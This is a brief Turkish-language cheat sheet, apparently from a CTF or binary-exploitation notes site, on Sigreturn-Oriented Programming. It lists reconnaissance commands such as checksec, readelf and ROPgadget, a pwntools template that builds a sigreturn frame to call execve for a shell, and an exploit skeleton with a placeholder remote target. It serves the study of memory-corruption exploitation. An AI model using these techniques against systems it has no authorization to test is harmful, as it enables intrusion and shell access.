Skip to content

SROP - Sigreturn-Oriented Programming

binexp rop

SROP - Sigreturn-Oriented Programming bellek güvenliği istismarı notudur. Protections ölç, primitif kur, kontrol akışını ele geçir.

  1. checksec + mimari + crash yüzeyini çıkar.

  2. Leak veya write primitifini kur.

  3. ROP/hook/AW2E ile kontrol akışı al.

  4. Shell veya flag’i stabilize et.

Terminal window
file ./vuln
Terminal window
checksec --file=./vuln
Terminal window
pwn checksec ./vuln
Terminal window
readelf -l ./vuln | rg -i 'gnu_stack|interp'
Terminal window
readelf -S ./vuln | rg -i 'got|plt|bss|fini'
Terminal window
gdb -q ./vuln
Terminal window
ROPgadget --binary ./vuln | head
from pwn import *
ell=ELF('./vuln'); rop=ROP(ell)
print(rop.gadgets)
from pwn import *
context.arch='amd64'
frame=SigreturnFrame()
frame.rip=syscall; frame.rax=constants.SYS_execve
frame.rdi=binsh; frame.rsi=0; frame.rdx=0
rax=15; syscall → rt_sigreturn
from pwn import *
context.binary=ell=ELF('./vuln')
p=process('./vuln')
# p=remote('TARGET',1337)
# leak → calc → write → control
p.interactive()
Terminal window
python3 exploit.py
[ ] fingerprint / profil alındı
[ ] primitif veya erişim doğrulandı
[ ] PoC etkiyi gösterdi
[ ] kanıt paketlendi
[ ] sonraki pivot not edildi